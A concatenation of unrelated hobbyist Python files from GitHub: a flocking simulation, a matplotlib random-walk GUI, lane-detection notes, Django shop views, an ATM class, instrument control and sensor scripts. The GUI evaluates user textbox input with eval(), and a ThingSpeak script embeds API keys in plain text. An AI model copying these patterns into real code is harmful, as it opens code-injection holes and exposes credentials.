\n with open(str(time.time()) + \"_initial_conditions.csv\",\"w+\") as my_csv: # writing the file as my_csv\n csvWriter = csv.writer(my_csv,delimiter=',') # using the csv module to write the file\n csvWriter.writerows(a)\n \n\ndef export_modified_data(force_intensity, communication_rate):\n a = [[eps],[force_intensity], [communication_rate]]\n with open(str(time.time()) + \"_modified_data.csv\",\"w+\") as my_csv: # writing the file as my_csv\n csvWriter = csv.writer(my_csv,delimiter=',') # using the csv module to write the file\n csvWriter.writerows(a)\n \n \ndef init_cm2dfix():\n init_pos_x = []\n init_pos_y = []\n init_vx = []\n init_vy = []\n \n N = 100\n t_min = 0\n t_max = 100\n eps = 0.1\n force_intensity = 4\n \n for i in range(N):\n init_vx.append([10*random.random()-5])\n init_vy.append([10*random.random()-5])\n \n circular_distrib = random_circular_distribution(2, 0, 0, N)\n init_pos_x = circular_distrib[0]\n init_pos_y = circular_distrib[1]\n \n\n solution = cucker_smale2d_fix(N, init_pos_x, init_pos_y, init_vx, init_vy, t_min, t_max, eps, force_intensity, 1/2)\n positions_x = solution[1]\n positions_y = solution[2]\n vitesses_x = solution[3]\n vitesses_y = solution[4]\n \n print_in_realtime(0, 100, positions_x, positions_y, vitesses_x, vitesses_y, force_intensity, 1/2)\n \n\ndef simulation_comparison_crusade():\n init_pos_x = []\n init_pos_y = []\n init_vx = []\n init_vy = []\n \n N = 4\n t_min = 0\n t_max = 4\n eps = 0.1\n force_intensity = 1\n \n for i in range(N):\n init_pos_x.append([random.random()])\n init_pos_y.append([random.random()])\n init_vx.append([random.random()])\n init_vy.append([random.random()])\n \n export_initial_conditions(N, init_pos_x, init_pos_y, init_vx, init_vy, t_min, t_max, eps, force_intensity)\n \n com_rate_exp_array = [3/4, 1/2, 1/3, 1/4, 1/5, 1/6]\n iterations = len(com_rate_exp_array)\n \n for i in range(iterations):\n #print(init_pos_x)\n solution = cucker_smale2d_fix(N, init_pos_x, init_pos_y, init_vx, init_vy, t_min, t_max, eps, force_intensity, com_rate_exp_array[i])\n positions_x = solution[1]\n positions_y = solution[2]\n vitesses_x = solution[3]\n vitesses_y = solution[4]\n plt.subplot(330 + (i+1))\n plt.title(com_rate_exp_array[i])\n scatter_at_specific_time_2d(60, positions_x, positions_y, vitesses_x, vitesses_y)\n# #print_in_realtime(0,t_max, positions_x, positions_y, vitesses_x, vitesses_y, force_intensity_array[i], communication_rate_exp)\n# flock(i, eps, 1e-3, init_pos_x, init_pos_y, init_vx, init_vy, force_intensity, com_rate_exp_array[i])\n \n plt.savefig (\"./final.png\")\n \n \ndef gen_distrib_non_homogene():\n t_min = 0\n t_max = 100\n eps = 0.1\n \n g1_init_pos_x = []\n g1_init_pos_y = []\n g1_init_vx = []\n g1_init_vy = [] \n g1_N = 30\n \n g2_init_pos_x = []\n g2_init_pos_y = []\n g2_init_vx = []\n g2_init_vy = [] \n g2_N = 10\n force_intensity = 1\n \n if g1_N == g2_N:\n for i in range(g1_N):\n g1_init_vx.append([10*random.random()-5])\n g1_init_vy.append([10*random.random()-5])\n g2_init_vx.append([10*random.random()-5])\n g2_init_vy.append([10*random.random()-5])\n else:\n for i in range(g1_N):\n g1_init_vx.append([10*random.random()-5])\n g1_init_vy.append([10*random.random()-5])\n for i in range(g2_N):\n g2_init_vx.append([10*random.random()-5])\n g2_init_vy.append([10*random.random()-5])\n \n g1_circular_distrib = random_circular_distribution(2, 0, 0, g1_N)\n g2_circular_distrib = random_circular_distribution(2, -20, 10, g2_N)\n \n g1_init_pos_x = g1_circular_distrib[0]\n g1_init_pos_y = g1_circular_distrib[1]\n g2_init_pos_x = g2_circular_distrib[0]\n g2_init_pos_y = g2_circular_distrib[1]\n \n init_pos_x = g1_init_pos_x + g2_init_pos_x\n init_pos_y = g1_init_pos_y + g2_init_pos_y\n init_vx = g1_init_vx + g2_init_vx\n init_vy = g1_init_vy + g2_init_vy\n \n solution = cucker_smale2d_fix(g1_N + g2_N, init_pos_x, init_pos_y, init_vx, init_vy, t_min, t_max, eps, force_intensity, 1/2)\n positions_x = solution[1]\n positions_y = solution[2]\n vitesses_x = solution[3]\n vitesses_y = solution[4]\n print_in_realtime(t_min, t_max, positions_x, positions_y, vitesses_x, vitesses_y, force_intensity, 1/2)\n \n \ndef gen_trajectoire_predateur(t_min, t_max, xinit, yinit, vxinit, vyinit, eq_traj_x, eq_traj_y, eq_vx, eq_vy, eps):\n liste_t = [t_min]\n liste_x = [xinit]\n liste_y = [yinit]\n liste_vx = [vxinit]\n liste_vy = [vyinit]\n t = t_min\n while t < t_max:\n x = liste_x[-1]\n y = liste_y[-1]\n vx = liste_vx[-1]\n vy = liste_vy[-1]\n \n liste_x.append(eq_traj_x(x+2*eps))\n liste_y.append(eq_traj_y(y+2*eps))\n liste_vx.append(eq_vx(vx+eps))\n liste_vy.append(eq_vy(vy+eps))\n \n t += eps\n liste_t.append(t)\n \n return (liste_t, liste_x, liste_y, liste_vx, liste_vx, liste_vy)\n\n\ndef lancement_sim_avec_predateur():\n init_pos_x = []\n init_pos_y = []\n init_vx = [] + [[2.0]]\n init_vy = [] + [[2.0]]\n \n N = 10\n t_min = 0\n t_max = 100\n eps = 0.1\n force_intensity = 1\n \n for i in range(N):\n init_vx.append([10*random.random()-5])\n init_vy.append([10*random.random()-5])\n \n circular_distrib = random_circular_distribution(2, 0, 0, N)\n init_pos_x = circular_distrib[0] + [[-10.0]]\n init_pos_y = circular_distrib[1] + [[-10.0]]\n\n solution = cucker_smale2d_modified(init_pos_x, init_pos_y, 10, 10, init_vx, init_vy, 2, 2, t_min, t_max, eps, force_intensity, 1/2, parab, parab, cst, cst)\n positions_x = solution[1]\n positions_y = solution[2]\n vitesses_x = solution[3]\n vitesses_y = solution[4]\n print_in_realtime(t_min, t_max, positions_x, positions_y, vitesses_x, vitesses_y, force_intensity, 1/2)\n\n\n#lancement_sim_avec_predateur()\n#simulation_comparison_crusade() \ninit_cm2dfix()\n#gen_distrib_non_homogene()\n","repo_name":"julessanglier/TIPE2","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":19812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13392263663","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.widgets import TextBox, Button\n\nclass MyGrapher():\n\n def __init__(self, game):\n self.game = game\n self.set_fig()\n self.set_colormap()\n self.set_widget_locations()\n self.graph_state()\n plt.show()\n\n def set_fig(self):\n self.fig = plt.figure(figsize=(8,6))\n self.ax = self.fig.add_subplot()\n\n def set_colormap(self):\n # (Colormap Initialization)\n nice_colors = np.array(\n [[0.75,0,0],[0,0.75,0],[0,0,0.75],\n [0.75,0.75,0],[0.75,0,0.75],[0,0.75,0.75]])\n # Arbitrary dimension of 500, increase if you ever do anchors > 500.\n rand_colors = np.random.random(size=(500,3)).round(1)\n self.colormap = np.concatenate((nice_colors,rand_colors),axis=0)\n\n def set_widget_locations(self):\n ### Wiget Locations ### \n # Seedbox location\n sx_pos = 0.1; swidth = 0.08\n sy_pos = 0.0125; sheight = 0.05\n axbox = plt.axes([sx_pos, sy_pos, swidth, sheight])\n self.seed_box = TextBox(axbox, 'Seed: ', initial=f\"{self.game.seed}\")\n self.seed_box.on_submit(self.seedbox)\n\n # Iterbox location\n ix_pos = 0.35; iwidth = 0.1\n iy_pos = 0.0125; iheight = 0.05\n axbox = plt.axes([ix_pos, iy_pos, iwidth, iheight])\n self.iter_box = TextBox(axbox, 'Iterations: ', initial=f\"{self.game.iter}\")\n self.iter_box.on_submit(self.iterbox)\n\n # Anchbox location\n ax_pos = 0.6; awidth = 0.05\n ay_pos = 0.0125; aheight = 0.05\n axbox = plt.axes([ax_pos, ay_pos, awidth, aheight])\n self.anch_box = TextBox(axbox, 'Anchors: ', initial=f\"{self.game.num}\")\n self.anch_box.on_submit(self.anchbox)\n\n # Distbox location\n dx_pos = 0.8; dwidth = 0.08\n dy_pos = 0.0125; dheight = 0.05\n dxbox = plt.axes([dx_pos, dy_pos, dwidth, dheight])\n self.dist_box = TextBox(dxbox, 'Dist: ', initial=f\"{self.game.dist}\")\n self.dist_box.on_submit(self.distbox)\n\n # Toggle Anchors location\n tanch_x = 0.23; tanch_width = 0.175 \n tanch_y = 0.9; tanch_height = 0.05\n tanch_ax = plt.axes([tanch_x, tanch_y, tanch_width, tanch_height])\n self.tanch = Button(tanch_ax, \"Hide Anchors\")\n self.tanch.on_clicked(self.toggle_anchors)\n\n # Rand_Seedbox Location\n bx = 0.43; bwidth = 0.175 \n by = 0.9; bheight = 0.05\n bax = plt.axes([bx, by, bwidth, bheight])\n self.brand = Button(bax, \"Random Seed\")\n self.brand.on_clicked(self.rand_seed)\n\n # Plus 1 Location\n p_one_x = 0.63; p_one_width = 0.175 \n p_one_y = 0.9; p_one_height = 0.05\n p_one_ax = plt.axes([p_one_x, p_one_y, p_one_width, p_one_height])\n self.p_one = Button(p_one_ax, \"1 Step\")\n self.p_one.on_clicked(self.plus_one)\n\n def graph_state(self):\n self.ax.clear()\n # Implement button to toggle colormap (esp for high pow_2)\n self.ax.scatter(self.game.x, self.game.y, color=self.colormap[self.game.choice], s=3) \n if self.game.show_anchor:\n # Implement button to toggle this for high pow_2\n self.ax.scatter(self.game.x_anchors,self.game.y_anchors, color='k', s=5)\n plt.draw()\n\n ### Widget functions ###\n # Seed-setting Textbox\n def seedbox(self, text):\n # Update State\n result = eval(text)\n if result != self.game.seed: # (avoids unwanted submission for clicking out of box)\n self.game.set_seed(result) # Sets the new seed\n self.game.compute_targets() # Computes anchor selection based on seed\n self.game.compute_steps() # Computes new (x,y) positions given the anchor selection sequence\n\n # Plot new state\n self.graph_state()\n\n # Iter-setting Textbox\n def iterbox(self, text):\n # Update State\n result = eval(text)\n if result != self.game.iter: # (avoids unwanted submission for clicking out of box)\n self.game.iter = eval(text) # Sets the new iteration value\n self.game.set_seed(self.game.seed) # Gotta reset this, that's annoying\n self.game.compute_targets() # Computes new targets\n self.game.compute_steps() # And the new steps\n\n # Plot new state\n self.graph_state()\n\n # anch_num textbox\n def anchbox(self, text):\n # Update State\n result = int(eval(text))\n if result != self.game.num and result > 0: # (avoids unwanted submission for clicking out of box)\n self.game.num = result # Sets the new iteration value\n self.game.set_seed(self.game.seed) # Gotta reset this, that's annoying\n self.game.compute_anchors() # Compute new anchors\n self.game.compute_targets() # Computes new targets\n self.game.compute_steps() # And the new steps\n\n # Plot new state\n self.graph_state()\n\n # anch_num textbox\n def distbox(self, text):\n # Update State\n result = eval(text)\n if result != self.game.dist: # (avoids unwanted submission for clicking out of box)\n if result > 2:\n print(\"REFUSED: Solution diverges for large iterations. Disable for low iterations at your own risk.\")\n else:\n self.game.dist = result # Sets the new iteration value\n self.game.set_seed(self.game.seed) # Gotta reset this, that's annoying\n self.game.compute_steps() # And the new steps\n\n # Plot new state\n self.graph_state()\n\n # Toggle Anchors Button\n def toggle_anchors(self, null):\n if self.game.show_anchor:\n self.game.show_anchor = False\n else: self.game.show_anchor = True\n \n self.graph_state()\n\n # Random Seed Button\n def rand_seed(self, null):\n self.game.set_seed(np.random.randint(10000))\n self.seed_box.set_val(self.game.seed)\n self.game.compute_targets()\n self.game.compute_steps()\n self.graph_state()\n\n # 1 Step Button\n def plus_one(self, null):\n self.game.iter += 1\n self.game.set_seed(self.game.seed)\n self.game.compute_targets()\n self.game.compute_steps()\n self.graph_state()\n\n ","repo_name":"Abraham1729/RandomWalker","sub_path":"v1/Grapher.py","file_name":"Grapher.py","file_ext":"py","file_size_in_byte":6491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42978008090","text":"#+++++++++-------********* WARPING LANE ***********-----------++++++++++\n\n#We don’t want to process the whole image because we just want to know the curve on the path right now and not a few seconds ahead.\n#So we can simply crop our image, but this is not enough since we want to look at the road as if we were watching from the top .\n#This is known as a bird eye view and it is important because it will allow us to easily find the curve. To warp the image we need to\n#define the initial points. These points we can determine manually. So to make this process easier we could use track bars to experiment\n#with different values. The idea is to get a rectangle shape when the road is straight.\n\n#We can create two functions for the trackbars. One that initializes the trackbars and the second that get the current value from them.\n\ndef nothing(a):\n pass\n\ndef initializeTrackbars(intialTracbarVals,wT=480, hT=240):\n cv2.namedWindow(\"Trackbars\")\n cv2.resizeWindow(\"Trackbars\", 360, 240)\n cv2.createTrackbar(\"Width Top\", \"Trackbars\", intialTracbarVals[0],wT//2, nothing)\n cv2.createTrackbar(\"Height Top\", \"Trackbars\", intialTracbarVals[1], hT, nothing)\n cv2.createTrackbar(\"Width Bottom\", \"Trackbars\", intialTracbarVals[2],wT//2, nothing)\n cv2.createTrackbar(\"Height Bottom\", \"Trackbars\", intialTracbarVals[3], hT, nothing)\n\ndef valTrackbars(wT=480, hT=240):\n widthTop = cv2.getTrackbarPos(\"Width Top\", \"Trackbars\")\n heightTop = cv2.getTrackbarPos(\"Height Top\", \"Trackbars\")\n widthBottom = cv2.getTrackbarPos(\"Width Bottom\", \"Trackbars\")\n heightBottom = cv2.getTrackbarPos(\"Height Bottom\", \"Trackbars\")\n points = np.float32([(widthTop, heightTop), (wT-widthTop, heightTop),\n (widthBottom , heightBottom ), (wT-widthBottom, heightBottom)])\n return points\n\n#Now we can call the initialize function at the start of the code and the valTrackbar in the while loop just before warping the image.\n#Since both functions are written in the utlis file we will write ‘utlis.’ before calling them.\n\nintialTracbarVals = [110,208,0,480]\nutlis.initializeTrackbars(intialTracbarVals)\n\npoints = utlis.valTrackbars()\n\n#Now we will write our warping function that will allow us to get the bird eyes view using the four points that we just tuned.\n\ndef warpImg (img,points,w,h,inv=False):\n pts1 = np.float32(points)\n pts2 = np.float32([[0,0],[w,0],[0,h],[w,h]])\n if inv:\n matrix = cv2.getPerspectiveTransform(pts2,pts1)\n else:\n matrix = cv2.getPerspectiveTransform(pts1,pts2)\n imgWarp = cv2.warpPerspective(img,matrix,(w,h))\n return imgWarp\n\n#Here we are getting the transformation matrix based on the input points and then warping the image using the ‘warpPrespective’ function.\n#Since we will also need to apply inverse Warping later on, we will add this functionality to our function. To inverse we just need the inverse\n#matrix which we can find by switching the pts1 and pts2.\n\n#Now we call call our function to get the warp perspective.\n\nimgWarp = utlis.warpImg(imgThres, points, wT, hT)\n\n#Its a good idea to visualize our points to make the tuning process easier. So to display our points we can create a new function that loops\n#through the points and draws them using the ‘circle’ function.\n\ndef drawPoints(img,points):\n for x in range( 0,4):\n cv2.circle(img,(int(points[x][0]),int(points[x][1])),15,(0,0,255),cv2.FILLED)\n return img\n\n#Now we can call this function to draw the points.\n\nimgWarpPoints = utlis.drawPoints(imgWarpPoints, points)\n\n\n\n\n\n","repo_name":"elliobu1000/ComputerVisonLaneDetection","sub_path":"Step3LaneDetectionImageProc.py","file_name":"Step3LaneDetectionImageProc.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43345262966","text":"import cv2\nimport numpy as np\nimport imutils\n\ncap = cv2.VideoCapture('http://localhost:8000/video_feed')\n\nwhile(True):\n ret, frame = cap.read()\n frame = imutils.resize(frame,width=400,height=400) \n cv2.imshow('frame',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\ncap.release()\ncv2.destroyAllWindows()","repo_name":"version0chiro/openVino_balenaFin","sub_path":"openvino-stream/getting_stream.py","file_name":"getting_stream.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21038733866","text":"class Doubly_linked_list:\n class Node:\n def __init__(self,data):\n self.data=data\n self.next=None\n self.prev=None\n def display(self):\n print(self.data)\n def __init__(self):\n self.head=self.tail=None\n def is_empty(self):\n if self.head is None or self.tail is None:\n return True\n return False\n def add_head(self,data):\n new=self.Node(data)\n if self.is_empty():\n self.tail=new\n else:\n new.next=self.head\n self.head.prev=new\n self.head=new\n def add_tail(self,data):\n new = self.Node(data)\n if self.is_empty():\n self.head = new\n else:\n new.prev = self.tail\n self.tail.next = new\n self.tail = new\n def delete_head(self):\n if self.is_empty():\n return\n self.head=self.head.next\n if self.is_empty():\n self.tail=None\n else:\n self.head.prev=None\n def delete_tail(self):\n if self.is_empty():\n return\n self.tail = self.tail.prev\n if self.is_empty():\n self.head = None\n else:\n self.tail.next = None\n def delete_between(self,id):\n current=self.head\n if current.data==id:\n self.delete_head()\n return\n while current is not None:\n if current.data==id:\n if current.next==None:\n self.delete_tail()\n return\n current.prev.next=current.next\n current.next.prev=current.prev\n return\n current=current.next\n def traversal(self):\n ele=[]\n current = self.head\n while current is not None:\n ele.append(current.data)\n current=current.next\n return ele\n def minimum(self):\n min=10000000000000\n current = self.head\n while current is not None:\n if current.data= amount:\n return True\n else:\n return False\n\n def withdraw(self, amount):\n \"\"\"withdraw given amount from account and return that amount\"\"\"\n self.balance -= amount\n return self.balance\n\n def calc_interest(self):\n \"\"\"calculate and return interest gained on account\"\"\"\n accumulated_interest = self.balance * self.interest_rate\n self.balance += accumulated_interest\n return accumulated_interest\n \n def transactions(self, transacts, current_user, action, amount):\n '''Makes a list of actions taken, by who, and how much'''\n new_list = f'{current_user} {action} ${round(amount, 2)}.'\n transacts.append(new_list)\n\n def print_transactions(self, transacts):\n '''prints recorded user transactions line by line'''\n for trans in transacts:\n print(trans)\n\ndef main():\n command = input(\"\\nPlease enter a command, type help for available commands.\\n> \").lower()\n if command == 'balance':\n balance = admin.check_balance() # call the check_balance() method\n print(f'Your balance is ${round(balance, 2)}')\n main()\n elif command == 'deposit':\n amount = float(input('How much would you like to deposit? '))\n admin.deposit(amount) # call the deposit(amount) method\n admin.transactions(transacts, admin.name, 'deposited', amount)\n print(f'Deposited ${amount}')\n main()\n elif command == 'withdraw':\n amount = float(input('How much would you like '))\n # call the check_withdrawal(amount) method\n if admin.check_withdrawal(amount):\n admin.withdraw(amount) # call the withdraw(amount) method\n admin.transactions(transacts, admin.name, 'withdrew', amount)\n print(f'Withdrew ${amount}')\n else:\n print('Insufficient funds')\n main()\n elif command == 'interest':\n amount = admin.calc_interest() # call the calc_interest() method\n print(f'Accumulated ${round(amount, 2)} in interest')\n main()\n elif command == 'help':\n print('Available commands:')\n print('balance - get the current balance')\n print('deposit - deposit money')\n print('withdraw - withdraw money')\n print('interest - accumulate interest')\n print('exit - exit the program')\n main()\n elif command == 'exit':\n sys.exit()\n elif command == 'transactions':\n admin.print_transactions(transacts)\n ...\n else:\n print('Command not recognized')\n main()\n\ntransacts = []\n\nadmin = ATM()\nprint(\"Welcome to the ATM\")\nmain()","repo_name":"PdxCodeGuild/class_orchid","sub_path":"code/jordyn/python/lab13.py","file_name":"lab13.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"734423024","text":"from django.shortcuts import render\nfrom django.views.generic import View\nfrom .models import *\n# Create your views here.\n\n\nclass IndexView(View):\n\n def get(self, request):\n return render(request, template_name='lk/index.html', context={'title': 'Личный кабинет Lime Shop'})\n\n def post(self, request):\n ctx = {'title': 'Личный кабинет Lime Shop'}\n try:\n prod_code = int(request.POST.get('product_code'))\n count = int(request.POST.get('count'))\n except:\n return render(request, template_name='lk/index.html', context=ctx)\n prod_series = ProductSeries.objects.filter(number=prod_code).first()\n if not prod_series:\n ctx['error'] = 'Товар не найден в базе. Проверьте правильность ввода'\n return render(request, template_name='lk/index.html', context=ctx)\n elif prod_series.count < count:\n ctx['error'] = 'На складе недостаточно товара. Проверьте правильность ввода'\n return render(request, template_name='lk/index.html', context=ctx)\n order = Order(user=request.user)\n order.save()\n OrderItems(order=order, series=prod_series, count=count).save()\n ctx['success'] = True\n return render(request, template_name='lk/index.html', context=ctx)\n\n\nclass HistoryView(View):\n\n def get(self, request):\n query = OrderItems.objects.filter(order__user=request.user, order__amount__isnull=False).order_by('-order__date')\n total_amount = query.aggregate(Sum('price')).get('price__sum') or 0\n items = query.all()\n return render(request, template_name='lk/history_order.html', context={\n 'title': 'История покупок Lime',\n 'items': items,\n 'total_amount': total_amount\n })\n\n\nclass ReportView(View):\n\n def get(self, request):\n return render(request, template_name='lk/report.html', context={\n 'title': 'Отчеты Lime Shop',\n })\n","repo_name":"alexvelfr/LimeShop","sub_path":"lk/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13413571102","text":"import pyvisa\nimport matplotlib.pyplot as plt\nimport struct\n\n\nmy_instrument = None\nip_addr = \"192.168.10.104\" # should match the instrument‘s IP address\nvisa_address = 'TCPIP0::%s::INSTR' % ip_addr\n\nrm = pyvisa.ResourceManager()\nrm.list_resources()\n#('ASRL1::INSTR', 'ASRL2::INSTR', 'GPIB0::14::INSTR')\nmy_instrument = rm.open_resource(visa_address)\nprint(my_instrument.query('*IDN?'))\nprint(my_instrument.query(':ACQuire:COMPlete?'))\nprint(my_instrument.write(':TRIGger:EDGE:LEVel 0.5, CHANnel1 '))\nprint(my_instrument.write(':WAVeform:SOURce CHANnel1'))\nprint(my_instrument.write(':WAVeform:FORMat BYTE'))\nprint(my_instrument.query(':WAVeform:POINts?'))\nraw_data = my_instrument.query_binary_values(':WAVeform:DATA?')\n#print(my_instrument.query(':WAVeform:DATA?'))\nprint(\"we are here\")\nraw_preamble = my_instrument.query(':WAVeform:PREamble?')\nprint(len(raw_data))\n\nbytes_data = []\nfor entry in raw_data:\n bytes_data.extend(bytearray(struct.pack(\"f\", entry)))\n\n\n\nk = 0\npreamble = [[]]\np = 0\nfor i in range(len(raw_preamble)):\n if raw_preamble[i] == ',' or i == len(raw_preamble) - 1:\n preamble[k] = float(raw_preamble[p:i])\n p = i + 1\n k += 1\n preamble.append([])\npreamble.pop()\nprint(preamble)\n\ndata = []\nfor i in bytes_data:\n data.append((i - preamble[9]) * preamble[7] + preamble[8])\nprint(data)\ntime = [((i - preamble[6]) * preamble[4] + preamble[5]) * 1000 for i in range(len(bytes_data))]\nplt.plot(time, data)\nplt.show()\n","repo_name":"Katyarin/Instruments","sub_path":"Control.py","file_name":"Control.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71858610784","text":"\"\"\"\nVisualizer.\n\nPycairo documentation found here:\n\thttps://pycairo.readthedocs.io/en/latest/index.html\n\nOther resources:\n\thttp://www.tortall.net/mu/wiki/PyGTKCairoTutorial\n\n\"\"\"\n\n#from PIL import Image, ImageDraw\n\nimport cairo \nimport math\nimport pickle\n\nimport reader\nimport helper\n\nclass Canvas(object):\n\tdef __init__(self, filename, convobj, width, height):\n\t\tself.surface = cairo.SVGSurface('images/' + filename + '.svg', width, height)\n\t\tcr = self.cr = cairo.Context(self.surface)\n\n\t\tself.width = width\n\t\tself.height = height\n\n\t\ttemp = [convobj['sentiment']['positive'], convobj['sentiment']['neutral'], convobj['sentiment']['negative']]\n\n\t\t# to work with a 1x1 canvas\n\t\t#cr.scale(width, height) \n\n\t\t# Background\n\t\tcr.save()\n\t\t#self.bg(self.cr, [1, 0.7, 1])\n\t\tself.bg(self.cr, helper.generate_rgb(temp))\n\t\tcr.restore()\n\n\t\tcr.save()\n\t\tself.line(self.cr)\n\t\tcr.restore()\n\n\t\tcr.save()\n\t\tself.circle(self.cr)\n\t\tcr.restore()\n\n\t\tcr.save()\n\t\tself.rectangle(self.cr)\n\t\tcr.restore()\n\n\t\tcr.save()\n\t\tself.bezier(self.cr)\n\t\tcr.restore()\n\n\t\t#cr.save()\n\t\t#self.pat(self.cr)\n\t\t#cr.restore()\n\n\t\t# Save\n\t\tself.surface.write_to_png('images/' + filename + '.png')\n\t\tcr.show_page()\n\t\tself.surface.finish()\n\n\tdef get_size(self):\n\t\treturn self.width, self.height\n\n\tdef bg(self, cr, rgb):\n\t\tcr.set_line_width(0.01)\n\t\tcr.rectangle(0,0,self.width,self.height)\n\t\tcr.set_source_rgb(rgb[0],rgb[1],rgb[2])\n\t\tcr.fill()\n\n\tdef line(self, cr):\n\t\tcr.set_source_rgb(0,0,0)\n\t\tcr.set_line_width(9)\n\t\tcr.set_dash([5, 15, 2]) # [on, off, on]\n\t\t#cr.set_line_cap(cairo.LINE_CAP_SQUARE) # or BUTT, ROUND\n\n\t\tcr.move_to(.25 * self.width,.25 * self.height)\n\t\tcr.line_to(0.9 * self.width,0.9 * self.height)\n\t\tcr.stroke()\n\n\tdef rectangle(self, cr):\n\t\tcr.set_line_width(10)\n\t\tcr.set_source_rgba(.3,.3,0,0.6)\n\t\tcr.set_line_join(cairo.LINE_JOIN_BEVEL)\n\t\tcr.rectangle(20,20,100,200)\n\t\tcr.stroke()\n\n\tdef circle(self, cr):\n\t\t#cr.save()\n\t\tcr.set_line_width(9)\n\t\tcr.set_source_rgb(0.5, 0.6, 0.0)\n\n\t\tw,h = self.get_size() # check\n\n\t\tcr.translate(w/2, h/2) # or change scale between the 2 values to get ellipse\n\t\tcr.arc(0,0,.5 * w,0,2*math.pi)\n\t\tcr.stroke_preserve()\n\n\t\tcr.set_source_rgba(0.3, 0.4, 0.0, 0.5)\n\t\tcr.fill()\n\t\t#cr.restore()\n\n\tdef bezier(self, cr):\n\t\tcr.move_to(30,30)\n\t\tcr.curve_to(320, 200, 330, 110, 50, 40)\n\t\tcr.stroke()\n\n\t# for complex shapes, successively move_to and curve_to next\n\t# point in an array of points\n\n\tdef pat(self, cr):\n\t\tsr1 = cairo.ImageSurface.create_from_png(\"pat-ex.png\")\n\t\tpt1 = cairo.SurfacePattern(sr1)\n\t\tpt1.set_extend(cairo.EXTEND_REPEAT)\n\n\t\tcr.set_source(pt1)\n\t\tcr.rectangle(50,70,200,200)\n\t\tcr.fill()\n\ndef main():\n\treader.main()\n\tconvo = pickle.load(open('convo.pkl', 'rb'))\n\tprint(convo['sentiment'])\n\tc = Canvas('cairo_test_integrate_1', convo, 400, 300)\n\nif __name__ == '__main__':\n\tmain()\n\n\n\n","repo_name":"jfriend15/visualize-convo","sub_path":"v1.0/visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74713932383","text":"import serial\nimport time\nimport urllib.request\nimport json\n\narduino = serial.Serial(port='COM4', baudrate=9600, timeout=.1)\nread_api_key = \"REG5C56EQ2XIF2NL\"\nchannel_id = '1601670'\n\nwhile True:\n TS = urllib.request.urlopen(\n \"https://api.thingspeak.com/channels/1601670/feeds.json?api_key=REG5C56EQ2XIF2NL&results=2\")\n response = TS.read()\n data = json.loads(response)\n t1 = data['feeds'][0]['field1']\n print(t1)\n TS.close()\n TS2 = urllib.request.urlopen(\n \"https://api.thingspeak.com/channels/1608807/feeds.json?api_key=GA4Y4O7RWEY31YFX&results=2\")\n response2 = TS2.read()\n data2 = json.loads(response2)\n t2 = data2['feeds'][0]['field1']\n print(t2)\n TS2.close()\n arduino.write(bytes(t1 + ' ' + t2, 'utf-8'))\n time.sleep(15)\n","repo_name":"lecheliza/TheRealTemperature","sub_path":"wifiService/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33980240627","text":"from constants import test_array\n\n\n# complexity: O(n^2)\n# in-place: true\n# https://en.wikipedia.org/wiki/Selection_sort\ndef selection_sort(A):\n for i in range(len(A) - 1):\n smallest = i\n for j in range(i + 1, len(A)):\n if A[j] < A[smallest]:\n smallest = j\n A[i], A[smallest] = A[smallest], A[i]\n print(A)\n return A\n\n\nselection_sort(test_array)\n","repo_name":"Steeven9/Sorting","sub_path":"selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24968224051","text":"from file_io.io_utils import writeFloat, writeFlow\nimport os\nfrom importlib import reload\n\n\ndef compute_flow_and_disp(save_path, data_path, model_path_disp, model_path_flow):\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n file_list = sorted(os.listdir(data_path + 'image_2'))\n\n for i in range(len(file_list)):\n import netdef_slim as nd\n img_t0_L = data_path + 'image_2/' + file_list[i]\n img_t0_R = data_path + 'image_3/' + file_list[i]\n\n dispnet_controller = nd.load_module(model_path_disp + 'controller.py').Controller()\n data = dispnet_controller.net_actions(net_dir=model_path_disp).eval(img_t0_L, img_t0_R)\n disp = data['disp.L'][0, 0, :, :]\n writeFloat(save_path + file_list[i] + '.disp.L.float3', disp)\n\n flownet_controller = nd.load_module(model_path_flow + 'controller.py').Controller()\n if i < len(file_list) - 1:\n img_t1_L = data_path + 'image_2/' + file_list[i + 1]\n flow_fwd = flownet_controller.net_actions(net_dir=model_path_flow).eval(img_t0_L, img_t1_L)\n for key, value in flow_fwd.items():\n if 'flow' in key:\n writeFlow(save_path + file_list[i] + '.' + key + '.flo', value[0,:,:,:].transpose(1,2,0))\n else:\n writeFloat(save_path + file_list[i] + '.' + key + '.float3', value[0,:,:,:].transpose(1,2,0))\n\n flow_bwd = flownet_controller.net_actions(net_dir=model_path_flow).eval(img_t1_L, img_t0_L)\n for key, value in flow_bwd.items():\n if 'flow' in key:\n writeFlow(save_path + file_list[i] + '.' + key.replace('fwd', 'bwd') + '.flo', value[0,:,:,:].transpose(1,2,0))\n else:\n writeFloat(save_path + file_list[i] + '.' + key.replace('fwd', 'bwd') + '.float3', 